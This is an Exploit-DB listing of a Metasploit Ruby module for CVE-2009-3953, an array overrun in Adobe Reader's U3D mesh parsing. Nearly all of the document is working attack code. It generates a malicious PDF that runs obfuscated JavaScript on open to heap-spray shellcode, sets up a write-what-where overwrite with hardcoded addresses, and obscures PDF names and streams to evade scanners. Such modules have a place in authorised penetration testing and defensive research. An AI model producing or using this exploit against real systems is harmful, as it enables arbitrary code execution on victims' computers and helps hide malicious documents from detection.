标题: Adobe - U3D CLODProgressiveMeshDeclaration Array Overrun (Metasploit) (2) EDB-ID: 16622 CVE: 2009-3953 类型: LOCAL 平台: WINDOWS 发布日期: 2010-09-25 漏洞利用脚本: ##
# $Id: adobe_u3d_meshdecl.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',
   'Description'    => %q{
     This module exploits an array overflow in Adobe Reader and Adobe Acrobat.
     Affected versions include < 7.1.4, < 8.2, and < 9.3. By creating a
     specially crafted pdf that a contains malformed U3D data, an attacker may
     be able to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',
     'jduck'
    ],
   'Version'        => '$Revision: 10477 $',
   'References'     =>
    [
     [ 'CVE', '2009-3953' ],
     [ 'OSVDB', '61690' ],
     [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-02.html' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00",
     'DisableNops'  => true
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # test results (on Windows XP SP3)
     # reader 7.0.5 - untested
     # reader 7.0.8 - untested
     # reader 7.0.9 - untested
     # reader 7.1.0 - untested
     # reader 7.1.1 - untested
     # reader 8.0.0 - untested
     # reader 8.1.2 - works
     # reader 8.1.3 - not working :-/
     # reader 8.1.4 - untested
     # reader 8.1.5 - untested
     # reader 8.1.6 - untested
     # reader 9.0.0 - untested
     # reader 9.1.0 - works
     [ 'Adobe Reader Windows Universal (JS Heap Spray)',
      {
       'Size'  => (6500/20),
       'DataAddr' => 0x09011020,
       'WriteAddr' => 0x7c49fb34,
      }
     ],
    ],
   'DisclosureDate' => 'Oct 13 2009',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
   ], self.class)

 end



 def exploit
  # Encode the shellcode.
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Make some nops
  nops    = Rex::Text.to_unescape(make_nops(4))

=begin

Original notes on heap technique used in this exploit:

## PREPAREHOLES:
## We will construct 6500*20 bytes long chunks starting like this
## |0         |6   |8       |C        |24                    |size
## |00000...  |0100|20100190|0000...  |    ......pad......   |
##                 \      \
##                 \      \ -Pointer: to controlled data
##                   \ -Flag: must be 1
## -Adobe will handle this ragged structure if the Flag is on.
## -Adobe will get 'what to write where' from the memory pointed
##  by our supplied Pointer.
##
## then allocate a bunch of those ..
## .. | chunk | chunk | chunk | chunck | chunk | chunck | chunck | ..
##    |XXXXXXX|XXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXXX|
##
## and then free some of them...
## .. | chunk | free  | chunk |  free  | chunk |  free  | chunck | ..
##    |XXXXXXX|       |XXXXXXX|        |XXXXXXX|        |XXXXXXXX|
##
## This way controlling when the next 6500*20 malloc will be
## followed with. We freed more than one hole so it became tolerant
## to some degree of malloc/free trace noise.
## Note the 6500 is arbitrary it should be a fairly unused chunk size
## not big enough to cause a different type of allocation.
## Also as we don't need to reference it from anywhere we don't care
## where this hole layout is placed in memory.

## PREPAREMEMORY:
## In the next technique we make a big-chunk of 0x10000 bytes
## repeating a 0x1000 bytes long mini-chunk of controled data.
## Big-chunks are always allocated aligned to 0x1000. And if we
## allocate a fair amount of big-chuncks (XPSPx) we'll be confident
## Any 0x1000 aligned 0x1000 bytes from 0x09000000 to 0x0a000000
## will have our mini chunk
##
## A mini-chunk will have this look
##
## |0         |10          |54         |?           |0xff0  |0x1000
## |00000...  |  POINTERS  |    nops   | shellcode  |  pad  |
##
## So we control what is in 0x09XXXXXX. shellcode will be at 0x09XXX054+
## But we use 0x09011064.
## POINTERS looks like this:
## ...

=end

  # prepare the hole
  daddr = target['DataAddr']
  hole_data = [0,0,1,daddr].pack('VvvV')
  #padding
  hole_data << "\x00" * 24
  hole = Rex::Text.to_unescape(hole_data)

  # prepare ptrs
  ptrs_data = [0].pack('V')
  #where to write
  ptrs_data << [target['WriteAddr'] / 4].pack('V')
  #must be greater tan 5 and less than x for getting us where we want
  ptrs_data << [6].pack('V')
  #what to write
  ptrs_data << [(daddr+0x10)].pack('V')
  #autopointer for print magic(tm)
  ptrs_data << [(daddr+0x14)].pack('V')
  #function pointers for print magic(tm)
  #pointing to our shellcode
  ptrs_data << [(daddr+0x44)].pack('V') * 12
  ptrs = Rex::Text.to_unescape(ptrs_data)

  js_doc = <<-EOF
function prepareHoles(slide_size)
{
 var size = 1000;
 var xarr = new Array(size);
 var hole = unescape("#{hole}");
 var pad = unescape("%u5858");
 while (pad.length <= slide_size/2 - hole.length)
  pad += pad;
 for (loop1=0; loop1 < size; loop1+=1)
 {
  ident = ""+loop1;
  xarr[loop1]=hole + pad.substring(0,slide_size/2-hole.length);
 }
 for (loop2=0;loop2<100;loop2++)
 {
  for (loop1=size/2; loop1 < size-2; loop1+=2)
  {
   xarr[loop1]=null;
   xarr[loop1]=pad.substring(0,0x10000/2 )+"A";
   xarr[loop1]=null;
  }
 }
 return xarr;
}

function prepareMemory(size)
{
 var mini_slide_size = 0x1000;
 var slide_size = 0x100000;
 var xarr = new Array(size);
 var pad = unescape("%ucccc");

 while (pad.length <= 32 )
  pad += pad;

 var nops = unescape("#{nops}");
 while (nops.length <= mini_slide_size/2 - nops.length)
  nops += nops;

 var shellcode = unescape("#{shellcode}");
 var pointers = unescape("#{ptrs}");
 var chunk = nops.substring(0,32/2) + pointers +
  nops.substring(0,mini_slide_size/2-pointers.length - shellcode.length - 32) +
  shellcode + pad.substring(0,32/2);
 chunk=chunk.substring(0,mini_slide_size/2);
 while (chunk.length <= slide_size/2)
  chunk += chunk;

 for (loop1=0; loop1 < size; loop1+=1)
 {
  ident = ""+loop1;
  xarr[loop1]=chunk.substring(16,slide_size/2 -32-ident.length)+ident;
 }
 return xarr;
}

 var mem = prepareMemory(200);
 var holes = prepareHoles(6500);
 this.pageNum = 1;
EOF
  js_pg1 = %Q|this.print({bUI:true, bSilent:false, bShrinkToFit:false});|

  # Obfuscate it up a bit
  js_doc = obfuscate_js(js_doc,
   'Symbols' => {
    'Variables' => %W{ slide_size size hole pad mini_slide_size nops shellcode pointers chunk mem holes xarr loop1 loop2 ident },
    'Methods' => %W{ prepareMemory prepareHoles }
   }).to_s

  # create the u3d stuff
  u3d = make_u3d_stream(target['Size'], rand_text_alpha(rand(28)+4))

  # Create the pdf
  pdf = make_pdf(u3d, js_doc, js_pg1)

  print_status("Creating '#{datastore['FILENAME']}' file...")

  file_create(pdf)
 end


 def obfuscate_js(javascript, opts)
  js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
  js.obfuscate
  return js
 end


 def RandomNonASCIIString(count)
  result = ""
  count.times do
   result << (rand(128) + 128).chr
  end
  result
 end

 def ioDef(id)
  "%d 0 obj\n" % id
 end

 def ioRef(id)
  "%d 0 R" % id
 end

 #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
 def nObfu(str)

  result = ""
  str.scan(/./u) do |c|
   if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
    result << "#%x" % c.unpack("C*")[0]
   else
    result << c
   end
  end
  result
 end

 def ASCIIHexWhitespaceEncode(str)
  result = ""
  whitespace = ""
  str.each_byte do |b|
   result << whitespace << "%02x" % b
   whitespace = " " * (rand(3) + 1)
  end
  result << ">"
 end

 def u3d_pad(str, char="\x00")
  ret = ""
  if (str.length % 4) > 0
   ret << char * (4 - (str.length % 4))
  end
  return ret
 end


 def make_u3d_stream(size, meshname)

  # build the U3D header
  hdr_data = [1,0].pack('n*') # version info
  hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
  hdr = "U3D\x00"
  hdr << [hdr_data.length,0].pack('VV')
  hdr << hdr_data

  # mesh declaration
  decl_data = [meshname.length].pack('v')
  decl_data << meshname
  decl_data << [0].pack('V') # chain idx
  # max mesh desc
  decl_data << [0].pack('V') # mesh attrs
  decl_data << [1].pack('V') # face count
  decl_data << [size].pack('V') # position count
  decl_data << [4].pack('V') # normal count
  decl_data << [0].pack('V') # diffuse color count
  decl_data << [0].pack('V') # specular color count
  decl_data << [0].pack('V') # texture coord count
  decl_data << [1].pack('V') # shading count
  # shading desc
  decl_data << [0].pack('V') # shading attr
  decl_data << [0].pack('V') # texture layer count
  decl_data << [0].pack('V') # texture coord dimensions
  # no textore coords (original shading ids)
  decl_data << [size+2].pack('V') # minimum resolution
  decl_data << [size+3].pack('V') # final maximum resolution (needs to be bigger than the minimum)
  # quality factors
  decl_data << [0x12c].pack('V') # position quality factor
  decl_data << [0x12c].pack('V') # normal quality factor
  decl_data << [0x12c].pack('V') # texture coord quality factor
  # inverse quantiziation
  decl_data << [0].pack('V') # position inverse quant
  decl_data << [0].pack('V') # normal inverse quant
  decl_data << [0].pack('V') # texture coord inverse quant
  decl_data << [0].pack('V') # diffuse color inverse quant
  decl_data << [0].pack('V') # specular color inverse quant
  # resource params
  decl_data << [0].pack('V') # normal crease param
  decl_data << [0].pack('V') # normal update param
  decl_data << [0].pack('V') # normal tolerance param
  # skeleton description
  decl_data << [0].pack('V') # bone count
  # padding
  decl_pad = u3d_pad(decl_data)
  mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
  mesh_decl << decl_data
  mesh_decl << decl_pad

  # build the modifier chain
  chain_data = [meshname.length].pack('v')
  chain_data << meshname
  chain_data << [1].pack('V') # type (model resource)
  chain_data << [0].pack('V') # attributes (no bounding info)
  chain_data << u3d_pad(chain_data)
  chain_data << [1].pack('V') # number of modifiers
  chain_data << mesh_decl
  modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
  modifier_chain << chain_data

  # mesh continuation
  cont_data = [meshname.length].pack('v')
  cont_data << meshname
  cont_data << [0].pack('V') # chain idx
  cont_data << [0].pack('V') # start resolution
  cont_data << [0].pack('V') # end resolution
  # no resolution update, unknown data follows
  cont_data << [0].pack('V')
  cont_data << [1].pack('V') * 10
  mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
  mesh_cont << cont_data
  mesh_cont << u3d_pad(cont_data)

  data = hdr
  data << modifier_chain
  data << mesh_cont

  # patch the length
  data[24,4] = [data.length].pack('V')

  return data

 end

 def make_pdf(u3d_stream, js_doc, js_pg1)

  xref = []
  eol = "\x0a"
  obj_end = "" << eol << "endobj" << eol

  # the header
  pdf = "%PDF-1.7" << eol

  # filename/comment
  pdf << "%" << RandomNonASCIIString(4) << eol

  # js stream (doc open action js)
  xref << pdf.length
  compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_doc))
  pdf << ioDef(1) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
  pdf << "stream" << eol
  pdf << compressed << eol
  pdf << "endstream" << eol
  pdf << obj_end

  # js stream 2 (page 1 annot js)
  xref << pdf.length
  compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_pg1))
  pdf << ioDef(2) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
  pdf << "stream" << eol
  pdf << compressed << eol
  pdf << "endstream" << eol
  pdf << obj_end

  # catalog
  xref << pdf.length
  pdf << ioDef(3) << nObfu("<</Type/Catalog/Outlines ") << ioRef(4)
  pdf << nObfu("/Pages ") << ioRef(5)
  pdf << nObfu("/OpenAction ") << ioRef(8) << nObfu(">>")
  pdf << obj_end

  # outline
  xref << pdf.length
  pdf << ioDef(4) << nObfu("<</Type/Outlines/Count 0>>")
  pdf << obj_end

  # pages/kids
  xref << pdf.length
  pdf << ioDef(5) << nObfu("<</Type/Pages/Count 2/Kids [")
  pdf << ioRef(10) << " " # empty page
  pdf << ioRef(11) # u3d page
  pdf << nObfu("]>>")
  pdf << obj_end

  # u3d stream
  xref << pdf.length
  pdf << ioDef(6) << nObfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol
  pdf << "stream" << eol
  pdf << u3d_stream << eol
  pdf << "endstream"
  pdf << obj_end

  # u3d annotation object
  xref << pdf.length
  pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype")
  pdf << "/3D/3DA <</A/PO/DIS/I>>"
  pdf << nObfu("/Rect [0 0 640 480]/3DD ") << ioRef(6) << nObfu("/F 7>>")
  pdf << obj_end

  # js dict (open action js)
  xref << pdf.length
  pdf << ioDef(8) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(1) + ">>" << obj_end

  # js dict (page 1 annot js)
  xref << pdf.length
  pdf << ioDef(9) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(2) + ">>" << obj_end

  # page 0 (empty)
  xref << pdf.length
  pdf << ioDef(10) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")
  pdf << nObfu(" >>")
  pdf << obj_end

  # page 1 (u3d/print)
  xref << pdf.length
  pdf << ioDef(11) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")
  pdf << nObfu("/Annots [") << ioRef(7) << nObfu("]")
  pdf << nObfu("/AA << /O ") << ioRef(9) << nObfu(">>")
  pdf << nObfu(">>")
  pdf << obj_end

  # xrefs
  xrefPosition = pdf.length
  pdf << "xref" << eol
  pdf << "0 %d" % (xref.length + 1) << eol
  pdf << "0000000000 65535 f" << eol
  xref.each do |index|
   pdf << "%010d 00000 n" % index << eol
  end

  # trailer
  pdf << "trailer" << eol
  pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(3) << ">>" << eol
  pdf << "startxref" << eol
  pdf << xrefPosition.to_s() << eol
  pdf << "%%EOF" << eol

 end

end URL: https://www.exploit-db.com/exploits/16622